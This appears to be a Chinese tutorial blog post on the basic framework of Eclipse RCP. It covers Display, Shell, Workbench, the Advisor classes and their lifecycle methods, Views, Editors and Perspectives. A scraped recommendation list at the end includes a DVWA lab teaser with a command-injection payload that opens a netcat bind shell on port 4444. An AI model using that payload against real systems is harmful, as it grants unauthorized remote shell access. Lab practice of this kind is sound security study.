基础_1:RCP基本框架
Display:
Display是一个SWT对象,代表底层图形系统的实现。一个RCP应用程序只需要一个Display对象。
Display的主要任务是从操作系统队列中读取事件,传递给RCP的事件监听器进行处理。但是Display对象不代表任何UI控件。在程序主窗口打开之前,Display是不可获得的。主窗口打开之后,才可以通过Shell对象获得。
Display的 获得方法:
|
new Display(); Display.getCurrent(); Display.getDefault() PlatformUI.createDisplay() shell.getDisplay() //通过shell实例对象获取 |
Shell:
每一个窗口都有一个Shell对象。Shell对象代表了与用户交互的窗口框架,并处理与窗口关联的诸如:移动、改变大小等常见行为。
获取Shell对象:
|
new Shell(display); display.getActiveShell() //获取当前激活的shell(获得焦点) |
Workbench-工作台:
Workbench是工作台,就是代表用户界面的UI元素。工作台上有各种窗口、图标、按钮和控件,用户可以在工作台上做各种操作。项目开发中几乎不会直接使用Workbench
每个RCP应用只有一个工作台。eclipse的系统界面就是一个工作台,Workbench实现接口IWorkbench。
获取Workbench:
| IWorkbench workbench = PlatformUI.getWorkbench() |
IWorkbench 对象有两个方法比较重要:
|
restart(): 立即重启应用 |
|
close():正常关闭应用程序 |
Advisor-建议者:
advisor是建议者,应用主界面宽度、高度、图标、菜单、工具栏、颜色、操作等等配置方案需要Advisor来提出“建议”。
Eclipse提供了3种类型的Advisor:
WorkbenchAdvisor:
应用程序级别,负责Workbench的生命周期管理,以及异常处理;并负责向Workbench提供一些重要参数。例如可以指定该Workbench的初始透视图(方法)。
WorkbenchAdvisor主要提供应用层面的配置信息。
6个比较重要的方法:
| initialize |
最先调用,在窗口打开之前调用,可以进行初始化配置工作。 要避免在该方法中编写逻辑量大,或执行耗时操作,否则会导致应用启动缓慢 |
| preStartup | initialize之后,第一个窗口打开之前调用,可以用来处理临时的或可选的工作 |
| postStartup | 第一个窗口打开之后,启动事件循环之前调用,可以用来处理那些需要在窗口打开之后才能处理的工作,如弹出提示框 |
| preShutdown | 事件循环结束之后,窗口关闭之前调用。可以执行保存数据、关闭数据库服务器等操作 |
| postShutdown | 窗口关闭之后调用,可以用来保存应用程序的状态,清除initialize方法创建的对象。 |
| getInitialWindowPerspectiveId() | 指定透视图ID,rcp内核使用透视图进行应用界面的初始布局 |
WorkbenchWindowAdvisor:
每一个应用程序都需要一个WorkbenchWindowAdvisor实例,负责应用程序窗口生命周期的管理,控制窗口的UI元素; 例如控制窗口的初始大小、位置、标题等等。也可以为窗口事件添加处理方法。
主要负责控制台主窗口层面的配置信息。
5个主要方法:
| preWindowOpen | 窗口控件创建之前调用。可以在其中设置窗口的初始大小、状态栏、工具栏的可见性 |
| postWindowRestore | 窗口恢复上次退出时的状态之后调用,可以用于调整窗口 |
| postWindowCreate | 窗口打开之后调用,可以注册窗口事件监听 |
| postWindowOpen | 窗口打开之后调用,可以注册窗口事件监听 |
| preWindowShellClose | shell关闭之前执行的操作 |
ActionBarAdvisor:
窗口级别,每一个窗口都有一个ActionBarAdvisor,负责定义窗口的行为,该类用于构建菜单栏、状态栏、工具栏的外观和行为。
主要方法:
| makeActions | 注册菜单或者工具栏 |
| fillMenuBar | 添加菜单栏 |
| fillCoolBar | 添加工具栏 |
| fillStatusLine | 添加状态栏 |
Advisor Configurer:
每一种Advisor都有一个对应的Configurer,用来设置工作台或者与相应的元素交互。这些configurer都作为参数,传递给相应的Advisor方法,在Advisor内部使用。 可以说AdvisorConfigurer将开发人员的意见传递给Advisor,Advisor在传递给应用程序;
| WorkbenchAdvisor |
IWorkbenchConfigurer 用来配置工作台的相关信息 |
| WorkbenchWindowAdvisor |
IWorkbenchWindowConfigurer |
| ActionBarAdvisor | IActionBarConfigurer 与窗口的工具栏交互,配置工具栏、菜单栏、状态栏 |
View和Editor:
在RCP应用中,用户主要通过视图(View)和编辑器(Editor)来与程序交互。实际开发中,对视图与编辑器没有严格区分,根据需要来选择。
视图-View:
可以浮动的工作窗口,负责数据显示。内部可以布局各种UI控件,与用户进行交互。参考eclipse中的Project Explorer视图。
自定义视图需要扩展ViewPart抽象类,开发者在createPartControl()方法中编写代码,构建视图界面的元素。
示例demo:
|
public class DemoView extends ViewPart{ @Override public void createPartControl(Composite parent) { // TODO Auto-generated method stub } @Override public void setFocus() { // TODO Auto-generated method stub } } |
编辑器-Editor:
编辑器也是一种工作窗口,提供对数据进行各种操作的交互能力。相当于文本域,参考Eclipse中的代码编辑区。
perspective-透视图:
配置应用主窗口的初始布局;
透视图与视图、编辑器之间的关系类似于书架、书之间的关系。书架上可以放书,perspective就是书架,视图和编辑器就是书。人负责在书架上摆放书的位置,进行布局,做好之后布局就不会自己改变了。只不过在RCP中,perspective是透明、不可见的。
RCP应用程序通过perspective对窗口的内容进行安排和布局,Perspective只负责布局,并不负责创建UI元素。 每个应用都有一个默认的透视图,每个工作台窗口则可以包含一个或多个perspective,用户可以向透视图中添加UI控件。默认的perspective被设置为固定大小的、不能移动的,且没有标题栏。
自定义透视图需要 实现接口:IPerspectiveFactory,
实现方法: createInitialLayout(IPageLayout layout)
其实,就是通过IPageLayout对象安排视图或编辑器的初始布局。默认情况下,初始布局包含了一个可视的编辑器,可以手动关闭。
基础_1:RCP基本框架的更多相关文章
- Yaf零基础学习总结2-Yaf框架的安装
接着上一篇文章<Yaf零基础学习总结1-Yaf框架简介>我们对Yaf框架有那么一个大概的了解了,但是对于程序员来说,那些文字都是表面的,他们最想的就是开始敲代码了.当然这也是学习Yaf框架 ...
- .Net基础体系和跨框架开发普及
.net体系经过十几年发展,发生了很多变化.特别是在最近两年,随着开源和跨平台的发展,衍生出很多概念,像标准库,可移植库,.Net Core等,相信有不少同学对他们之间的关系是有一些困惑的,这里我从基 ...
- C#_02.10_基础一_.NET框架
C#_02.10_基础一_.NET框架 一.概念: .NET框架是一个多语言组件开发和执行环境,它提供了一个跨语言的统一编程环境. 解读: 1..net框架是一个编程环境, 2.可以进行多语言的开发和 ...
- day 52 Django基础一之web框架的本质
Django基础一之web框架的本质 django第一天 本节目录 一 web框架的本质及自定义web框架 二 模板渲染JinJa2 三 MVC和MTV框架 四 Django的下载安装 五 基于D ...
- 深入 .NET Core 基础 - 2:共享框架
深入 .NET Core 基础 - 2:共享框架 原文地址:https://natemcmaster.com/blog/2018/08/29/netcore-primitives-2/ 共享框架从 . ...
- Django---Http协议简述和原理,HTTP请求码,HTTP请求格式和响应格式(重点),Django的安装与使用,Django项目的创建和运行(cmd和pycharm两种模式),Django的基础文件配置,Web框架的本质,服务器程序和应用程序(wsgiref服务端模块,jinja2模板渲染模块)的使用
Django---Http协议简述和原理,HTTP请求码,HTTP请求格式和响应格式(重点),Django的安装与使用,Django项目的创建和运行(cmd和pycharm两种模式),Django的基 ...
- day 65 Django基础一之web框架的本质
Django基础一之web框架的本质 django第一天 本节目录 一 web框架的本质及自定义web框架 二 模板渲染JinJa2 三 MVC和MTV框架 四 Django的下载安装 五 基 ...
- SOA之(2)——SOA架构基础概念与设计框架
SOA的设计框架 设计框架与架构相关的概念紧密相连,原则.模式和架构始终是与设计共舞的. SOA服务设计的原则中记录了一个基础的设计框架: 设计特性(Design Characteristic)——由 ...
- (转).Net基础体系和跨框架开发普及
在园子里看到了一篇关于.net体系及框架开发的文章,感触颇深,身为一个.net程序员,发现自己在这方面的跟进和理解远远不够.转到自己这里,分享的同时方便日后查看. 原文链接: http://www.c ...
随机推荐
- MySQL硬核干货:从磁盘读取数据页到缓冲池时,免费链表有什么用?
1.数据库启动的时候,是如何初始化Buffer Pool的? 现在我们已经搞明白一件事儿了,那就是数据库的Buffer Pool到底长成个什么样,大家想必都是理解了 其实说白了,里面就是会包含很多个缓 ...
- 循环(while,break,continue),转义字符
01. 程序的三大流程 在程序开发中,一共有三种流程方式: 顺序 -- 从上向下,顺序执行代码 分支 -- 根据条件判断,决定执行代码的 分支 循环 -- 让 特定代码 重复 执行 02. while ...
- CSS(2)之重新认识 CSS3 新特性
CSS3选择器(全) 相邻兄弟选择器:+ 选择到紧随目标元素后的第一个元素 普通兄弟选择器:~ 选择到紧随其后的所有兄弟元素 伪类选择器 :link :visited :hover :active : ...
- VUE- 解决插件报错问题
VUE- 解决插件报错问题 解决办法:先删除node_modules整个文件夹,然后cnpm cache clean,然后cnpm install. cnpm cache clean时可能会提示 这 ...
- linux下创建swap分区
两种不同的方式创建swap分区 第一种方法: fdisk /dev/sda n (新建一个分区为/dev/sda6) t (修改分区的id) 82 (swap的id为82) w (重写分区表) par ...
- js对象属性名和属性值生成新数组时都作为属性值
const obj = { id:1, name:'zhangsan', age:18 } const arr = []; Object.getOwnPropertyNames(obj).forEac ...
- linux 下实用工具
gpm 让linux 纯字符终端具备窗口模式下的鼠标功能 xterm + tmux 支持横向或者纵向切屏的终端 urxvt-unicode 支持中文的终端
- ZJNU 2349 - 抽抽抽
为4的倍数,列出所有可能情况再判断即可 处理输入的数据对4取模 可得 4444 2244 2222 1111 3333 1133 1223 1344 1124 3324 共十种情况 所以得出答案 #i ...
- DVWA-命令执行
开门见山 ·Low ·Medium ·High · 命令执行监听端口 ;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe nc 1 ...
- MongoDB_走一波
Mongodb 一.mongodb的介绍 mongodb的优势 易扩展:NoSQL数据库种类繁多,但是一个共同的特定就是去掉关系数据库的关系型特性.数据之间无关系,这样非常容易扩展 大数据,高性能:N ...